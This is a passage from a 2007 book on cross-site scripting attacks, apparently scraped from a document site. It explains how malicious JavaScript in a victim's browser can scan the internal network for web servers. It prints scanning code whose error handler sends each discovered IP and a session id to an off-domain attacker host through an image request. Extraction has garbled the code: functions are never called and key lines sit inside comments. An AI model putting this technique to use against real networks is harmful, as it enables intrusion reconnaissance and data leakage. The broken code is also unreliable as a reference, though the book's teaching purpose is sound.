• Aucun résultat trouvé

Port Scanning

Dans le document 436_XSS_FM.qxd 4/20/07 1:18 PM Page ii (Page 193-196)

With the internal IP address of the Web browser captured, we’re able to scan the local range for Web servers. If for some reason the internal IP address cannot be obtained, it’s technically possible to guess other allocated IP addresses (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), but the process is not as efficient. In keeping with the example from the previous section, we’ll continue using 192.168.0.100 as the internal IP address of the Web browser. Let’s assume we want to scan the Class-C network 192.168.0.0-255 on port 80 using the code from Sample 1. Secure Sockets Layer (SSL) Web server can be scanned the same way on port 443.

/* Event Capturing */

window.onerror = err;

/* launch the Intranet scan */

scanWebServers(internal_ip);

/* scan the Intranet */

function scanWebServers(ip) {

/* strip the last octet off the Intranet IP */

var net = ip.substring(0, ip.lastIndexOf('.') + 1);

/* Start from 0 and end on 255 for the last octet */

var start = 0;

var end = 255;

var x = start;

var timeout = 0;

/* section sets up and increments setTimeout timers with periodic window.stop(). We use this because if there is no web server at the specified IP, the browser will hang for an overly long time until the timeout expires. If we fire too many hanging off-domain connections we'll cause on browser connection DoS. window.stop() halts all open connects so the scan process can move on. */

while (x < end) {

self.setTimeout("window.stop();", timeout);

x += 21;

}

} // end scanWebServers

/* scan a block of IPs */

function scan(start, end, range) {

var start_num = 0;

if (start) { start_num = start; }

var end_num = 255;

if (end) { end_num = end; }

// loop through number range

for (var n = start_num; n <= end_num; n++) {

// create src attribute with constructed URL var URL = 'http://' + range + n + '/';

// create script DOM object if (debug['portscan']) {

var script = document.createElement('script');

script.src = URL;

// add script DOM object to the body document.body.appendChild(script);

}

} // end number range loop

} // end scan subroutine

/* capture window errors caused by the port scan */

function err(msg, loc, a, b) {

/* An error message of "Error loading script" indicates the IP did not respond.

Anything else likely indicates that something is listening and sent data back which caused an error. */

if (! msg.match(/Error loading script/)) {

var img = new Image();

var src = off_domain + 'session=' + sessionid + "&action=portscan&ip=" + escape(loc);

img.src = src;

}

return;

} // end err subroutine

There are several important techniques within the code, but the most vital concept is how the presence of a Web server is detected. Essentially the code creates dynamic script tag DOM objects whose SRC attributes point to IP addresses and ports on the local range (<script src=http://ip/></script>).This method is used instead of XHR, because it does not allow us to make off-domain request. If a Web server exists, HTML content is returned from the HTTP request.The HTML content is then loaded into the Web browser JavaScript interpreter, and as expected, a console error <screenshot>will be generated. We capture this window error event and perform a string check for “Error loading script,” which indicates that a Web server on that IP and port does not exist (see Figure 4.7).

Figure 4.7JavaScript Console

Two other possibilities exist when making script tag DOM object requests: no Web server is listening or the host is non-existent. When the host is up but no Web server is listening, the host quickly responds by closing the connection without generating a console error message.

When there is no host on an IP address, the Web browser will wait idle for the configured timeout. But since we’re making local connections, the network should be fairly responsive and the timeout will be excessively long. So, we need a way to close the current connections to increase the speed of the scan.The window.stop()method does this for us.

window.stop() is also important, because Web browsers have a limited number of simulta-neous connections that they can make. If we attempt to script tag DOM objects immedi-ately across the entire local IP address range, the Web browser will suffer from a connection Denial of Service (DoS).window.stop() allows us to initiate a block of connections and then proceeds to close them after a few seconds for uncovering Web servers. Also, the presence of setTimeout()in the connection block process is something of note due to the nuances of JavaScript.

In JavaScript, there is no native way to pause a script.The setTimeout()schedules out scan request blocks and stops them at the appropriate intervals.

The last thing to mention is the existence of an anomaly when a Web server responds to a script tag DOM object request, but the HTML does not cause a console error.This

behavior has been noticed in Firefox when the responding HTML content is well formed according to eXtensible Markup Language (XML) specification. Firefox has implemented a new specification called ECMAScript for XML (E4X) Specification, which appears to be the cause.

“ECMAScript for XML (E4X) is a programming language extension that adds native XML support to ECMAScript (JavaScript). It does this by pro-viding access to the XML document in a form that feels natural for ECMAScript programmers. The goal is to provide an alternative, simpler syntax for accessing XML documents than via DOM interfaces.”

—From Wikipedia, the free encyclopedia

This means if a script tag DOM object receives well-formed HTML, it assumes its XML or data in E4X format.Typically, this not an issue for Web server port scanning, because well-formed Web pages are rare. However, E4X may open additional avenues of attack worthy of discussion in the future.

Dans le document 436_XSS_FM.qxd 4/20/07 1:18 PM Page ii (Page 193-196)